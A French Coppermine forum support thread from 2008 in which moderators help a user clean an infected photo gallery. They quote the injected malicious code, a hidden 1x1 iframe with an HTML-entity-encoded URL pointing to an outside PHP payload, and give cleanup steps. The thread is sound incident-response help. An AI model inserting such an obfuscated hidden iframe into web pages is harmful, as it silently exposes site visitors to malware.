Advanced search  

News:

cpg1.5.48 Security release - upgrade mandatory!
The Coppermine development team is releasing a security update for Coppermine in order to counter a recently discovered vulnerability. It is important that all users who run version cpg1.5.46 or older update to this latest version as soon as possible.
[more]

Pages: [1]   Go Down

Author Topic: [Solved]: problème de virus  (Read 7650 times)

0 Members and 1 Guest are viewing this topic.

soraya95610

  • Coppermine frequent poster
  • ***
  • Offline Offline
  • Posts: 144
[Solved]: problème de virus
« on: April 21, 2008, 03:02:48 pm »

Bonjour ,

J'ai certains des utilisateurs de ma galerie qui ce plaigne d'avoir un virus cheval de troyes quand ils vont sur le site j'ai fais un scan avec le cure mais il n'y a aucun virus dans la galerie  :-\

voilà ma galerie

http://wentworthearlmiller.free.fr/site%20interne/wentworthearlmiller/
« Last Edit: April 21, 2008, 09:08:05 pm by François Keller »
Logged

Pascal YAP

  • Moderator
  • Coppermine addict
  • ****
  • Country: fr
  • Offline Offline
  • Gender: Male
  • Posts: 13833
  • Hello World :-)
    • CPG 1.5.x ExperiMental website
Re: problème de virus
« Reply #1 on: April 21, 2008, 03:28:54 pm »

Au risque de vous faire paniquer, ouvrez le code source de votre page d'accueil, allez jusqu'à la ligne 13, vous lirez ceci :
Code: [Select]
<iframe src='&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#99;&#102;&#101;&#108;&#111;&#109;&#118;&#104;&#107;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#52;&#50;&#46;&#112;&#104;&#112;' width=1 height=1></iframe>C'est justement le code injecté partout sur toutes les pages de votre site  ???

Fermez votre Galerie, Faites un gros nettoyage.
Vérifiez également que des fichiers non téléchargés par vous ne soient pas dans les dossiers Albums (et sous-dossiers) (ZIP ou JPG)

Et installez de nouveau la version1.4.18


Logged

François Keller

  • Moderator
  • Coppermine addict
  • ****
  • Country: fr
  • Offline Offline
  • Gender: Male
  • Posts: 9094
  • aka Frantz
    • Ma galerie
Re: problème de virus
« Reply #2 on: April 21, 2008, 03:45:43 pm »

le fichier cure.php n'arrive pas toujours à tout trouver.
Je regardez le répertoire albums ainsi que les fichiers que vous n'avez pas réuloadé (config.inc, fichiers du theme etc...)
Logged
Avez vous lu la DOC ? la FAQ ? et cherché sur le forum avant de poster ?
Did you read the DOC ? the FAQ ? and search the board before posting ?
Mon Blog

soraya95610

  • Coppermine frequent poster
  • ***
  • Offline Offline
  • Posts: 144
Re: problème de virus
« Reply #3 on: April 21, 2008, 04:22:39 pm »

Au risque de vous faire paniquer, ouvrez le code source de votre page d'accueil, allez jusqu'à la ligne 13, vous lirez ceci :
Code: [Select]
<iframe src='&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#99;&#102;&#101;&#108;&#111;&#109;&#118;&#104;&#107;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#52;&#50;&#46;&#112;&#104;&#112;' width=1 height=1></iframe>C'est justement le code injecté partout sur toutes les pages de votre site  ???

Fermez votre Galerie, Faites un gros nettoyage.
Vérifiez également que des fichiers non téléchargés par vous ne soient pas dans les dossiers Albums (et sous-dossiers) (ZIP ou JPG)

Et installez de nouveau la version1.4.18




Merci alors je trouve ou le code source ? une fois avoir trouvé la ligne 13 je supprime ? et enfin comment faire le nettoyage ?

J'ai installé la version 1.4.18 samedi il faut le refaire ?

désolé de vous embêtez avec mes questions
Logged

Pascal YAP

  • Moderator
  • Coppermine addict
  • ****
  • Country: fr
  • Offline Offline
  • Gender: Male
  • Posts: 13833
  • Hello World :-)
    • CPG 1.5.x ExperiMental website
Re: problème de virus
« Reply #4 on: April 21, 2008, 04:57:25 pm »

Quote
J'ai installé la version 1.4.18 samedi il faut le refaire ?
Oui, après avoir scrupuleusement scruté le contenu de vos Albums.
Logged

soraya95610

  • Coppermine frequent poster
  • ***
  • Offline Offline
  • Posts: 144
Re: problème de virus
« Reply #5 on: April 21, 2008, 05:00:52 pm »

Oui, après avoir scrupuleusement scruté le contenu de vos Albums.

Quand je regarde mes albums je regarde dans filezilla ?
Logged

soraya95610

  • Coppermine frequent poster
  • ***
  • Offline Offline
  • Posts: 144
Re: problème de virus
« Reply #6 on: April 21, 2008, 05:15:45 pm »

Dans userpics j'ai un fichier vide dummy c'est quoi et un 1001 et deux images  :-\
Logged

Pascal YAP

  • Moderator
  • Coppermine addict
  • ****
  • Country: fr
  • Offline Offline
  • Gender: Male
  • Posts: 13833
  • Hello World :-)
    • CPG 1.5.x ExperiMental website
Re: problème de virus
« Reply #7 on: April 21, 2008, 05:35:59 pm »

Le code infectant est parfois nommé avec un extension .JPG
Ces images sont-elles à vous !
Si tel n'est pas le cas, inutile de vous dire de les supprimer  ;D

PYAP
Logged

François Keller

  • Moderator
  • Coppermine addict
  • ****
  • Country: fr
  • Offline Offline
  • Gender: Male
  • Posts: 9094
  • aka Frantz
    • Ma galerie
Re: problème de virus
« Reply #8 on: April 21, 2008, 05:39:36 pm »

Quote
Dans userpics j'ai un fichier vide dummy c'est quoi
c'est un fichier coppermine, normal qu'il soit vide (il sert pour stocker les fichiers temporaires)
Quote
1001 et deux images
c'est le sous répertoire d'upload via html (celui de l'admin à priori) les images qui sont dedans sont soit celles que vous avez téléchargé, sinon, effacez les.
Quote
Merci alors je trouve ou le code source ? une fois avoir trouvé la ligne 13 je supprime ? et enfin comment faire le nettoyage ?
il faut trouver le ou les fichiers qui contiennent le virus:
*remplacez tous les fichiers coppermine (sauf le répertoire albums, le fichier include/config.inc.php, et les fichiers de votre theme) par des fichier propres (version 1.4.18)
*ouvrez avec un éditeur de texte (notepad par exemple) un à un les fichiers que vous n'avez pas remplacé (ceux cités plus haut) et cherchez la ligne incriminée (elle commence par <iframe>) et effacez là. elle peut se trouver dans plusieurs fichiers.
*vérifiez dans le répertoire albums qu'il n'y a pas de fichiers qui ne vous disent rien (fichier .zip ou .jpg avec un nom bizarre (des chiffres en regle générale)) et effacez les le cas échéans.
*lancez le fichier update.php
Logged
Avez vous lu la DOC ? la FAQ ? et cherché sur le forum avant de poster ?
Did you read the DOC ? the FAQ ? and search the board before posting ?
Mon Blog

soraya95610

  • Coppermine frequent poster
  • ***
  • Offline Offline
  • Posts: 144
Re: problème de virus
« Reply #9 on: April 21, 2008, 05:40:12 pm »

J'ai supprimé ces images mais la ligne est toujours là je vérifie avec filezilla tout mes dossiers mais y a rien de suspect sérieux la je comprends pas
Logged

Pascal YAP

  • Moderator
  • Coppermine addict
  • ****
  • Country: fr
  • Offline Offline
  • Gender: Male
  • Posts: 13833
  • Hello World :-)
    • CPG 1.5.x ExperiMental website
Re: problème de virus
« Reply #10 on: April 21, 2008, 06:04:13 pm »

Quote
sauf le répertoire albums, le fichier include/config.inc.php,
Le code peut s'installer ici aussi, c'est une calamité.
Il s'installe même dans les HTML, d'où une vigilance maximum nécessaire.

Relisez le Post de François, vous n'allez pas avancer sinon  ???

PYAP
Logged

soraya95610

  • Coppermine frequent poster
  • ***
  • Offline Offline
  • Posts: 144
Re: problème de virus
« Reply #11 on: April 21, 2008, 09:02:12 pm »

Ah j'ai supprimé le virus parfait il était dans le fichier 1100 merci encore pour tout
Logged

Pascal YAP

  • Moderator
  • Coppermine addict
  • ****
  • Country: fr
  • Offline Offline
  • Gender: Male
  • Posts: 13833
  • Hello World :-)
    • CPG 1.5.x ExperiMental website
Re: [Solved]: problème de virus
« Reply #12 on: April 21, 2008, 09:34:43 pm »

Quote
Ah j'ai supprimé le virus parfait il était dans le fichier 1100 merci encore pour tout
Vous parlez sans doute de CONFIG.INC.PHP ?
On ne désespère jamais  ;D

PYAP
Logged

François Keller

  • Moderator
  • Coppermine addict
  • ****
  • Country: fr
  • Offline Offline
  • Gender: Male
  • Posts: 9094
  • aka Frantz
    • Ma galerie
Re: [Solved]: problème de virus
« Reply #13 on: April 21, 2008, 10:49:51 pm »

non je pense qu'il s'agit du sous répertoire 1100 du dossier albums
Logged
Avez vous lu la DOC ? la FAQ ? et cherché sur le forum avant de poster ?
Did you read the DOC ? the FAQ ? and search the board before posting ?
Mon Blog

soraya95610

  • Coppermine frequent poster
  • ***
  • Offline Offline
  • Posts: 144
Re: [Solved]: problème de virus
« Reply #14 on: April 22, 2008, 09:22:50 am »

Oui François Keller c'est celui la il était en jpg donc difficile à voir
Logged
Pages: [1]   Go Up
 

Page created in 0.024 seconds with 19 queries.